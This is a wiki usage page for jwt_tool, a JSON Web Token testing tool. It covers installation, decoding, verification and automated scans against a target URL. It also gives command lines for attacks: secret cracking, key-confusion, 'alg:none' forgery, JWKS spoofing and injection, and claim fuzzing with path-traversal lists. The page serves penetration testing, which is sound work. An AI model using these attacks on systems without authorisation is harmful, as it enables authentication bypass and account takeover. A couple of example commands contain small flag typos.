Skip to content

Using jwt_tool

ticarpi edited this page Oct 22, 2020 · 8 revisions

Installation:

jwt_tool was written using native Python 3 libraries. The dependencies are for HTTP transmission, colours and visual flair, plus the crypto processes such as signing and verifying RSA/ECDSA/PSS tokens, generating and reconstructing Public/Private Keys, and a few other practical tasks.

To grab a copy of jwt_tool simply git clone it onto your system from a terminal:

$ git clone https://github.com/ticarpi/jwt_tool

Install dependencies from pip:

$ python3 -m pip install termcolor cprint pycryptodomex requests

Basic usage:

Run jwt_tool and see the usage information:

$ python3 jwt_tool.py -h

Process a token and read decoded claims and values:

$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po

Verify a token against a Public Key:

$ python3 jwt_tool.py JWT_HERE -V -pk my_public.pem

or

$ python3 jwt_tool.py JWT_HERE -V -jw my_public_jwks.json

Start tampering interactively with the header and payload claims:

$ python3 jwt_tool.py JWT_HERE -T

Sending tokens to the application

All modes now allow for sending the token directly to an application.
You need to specify:

  • target URL (-t)
  • a request header (-rh) or request cookies (-rc) that are needed by the application (at least one must contain the token)
  • (optional) any POST data (where the request is a POST)
  • (optional) any additional jwt_tool options, such as modes or tampering/injection options
  • (optional) a canary value (-cv) - a text value you expect to see in a successful use of the token (e.g. "Welcome, ticarpi")
    An example request might look like this (using scanning mode for forced-errors):
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M er 

Running scans

Choose from the included scan options to run automated JWT assessments:

  • -M pb = Playbook Scan
  • -M er = Forced errors Scan
  • -M at = All Tests - run all scan modes

Run a Playbook Scan using the provided token directly against the application to hunt for common misconfigurations:

$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -M pb

Run a Forced Errors Scan using the provided token directly against the application to hunt for common misconfigurations:

$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=JWT_HERE;anothercookie=test" -M pb

Common Attacks

Attempt to crack/guess the secret key (HMAC algorithms):

$ python3 jwt_tool.py JWT_HERE -C -d dictionary.txt

or

$ python3 jwt_tool.py JWT_HERE -C -p password_here

Try the 'key-confusion' attack against asymmetric ciphers (RS-, EC-, PS-) with a known Public Key:

$ python3 jwt_tool.py JWT_HERE -X k -pk my_public.pem

Try using the 'none' algorithm for creating unvalidated tokens:

$ python3 jwt_tool.py JWT_HERE -X a

Spoof a remote JWKS: use the RSA keys auto-generated on first-run and serve the JWKS at the URL provided (-ju) - or add the URL to your jwtconf.ini config file - and sign the token with the Private Key:

$ python3 jwt_tool.py JWT_HERE -X s -ju http://example.com/my_jwks.json

Inject an inline JWKS to the JWT header: use the RSA keys auto-generated on first-run, export the Public Key as a JSON Web Key Store object, inject into the JJWT header, and sign the token with the Private Key:

$ python3 jwt_tool.py JWT_HERE -X i

Signing tokens

Sign token with a known key/password:

$ python3 jwt_tool.py JWT_HERE -S ec512 -pk jwttool_custom_private_EC.pem
$ python3 jwt_tool.py JWT_HERE -S hs256 -p jwt-secret-key

Injecting and Fuzzing claims

Inject into (new or existing) header and payload claims (-hc/-pc) - match claims and values evenly with matching header and payload values (-hv/-pv):

$ python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2 -pc payload1 =pv testval3

Fuzz values for header and payload claims by specifying a text file for any ONE (maximum) payload or header value (-hv/pv):

$ python3 jwt_tool.py JWT_HERE -I -hc header1 -hv fuzzing_list.txt -hc header2 -hv testval2 -pc payload1 =pv testval3

Querying the logfile

Read values and data about requests by querying the unique ID for any request/token:

$ python3 jwt_tool.py -Q jwttool_2c9c0b6a92d982148241ea599e7c5871

Putting it all together

You can chain combinations of these options to perform complex interactions/token generation.
For example you can specify a token and Fuzz values, then sign it using an exploit (such as alg:none), or with a known key:

$ python3 jwt_tool.py JWT_HERE -I -pc image_path -pv path_traversal_tests.txt -X a
$ python3 jwt_tool.py JWT_HERE -I -pc image_path -pv path_traversal_tests.txt -S es512 -pk jwttool_custom_private_EC.pem

Try combining various options and see how complex you can make it!

Clone this wiki locally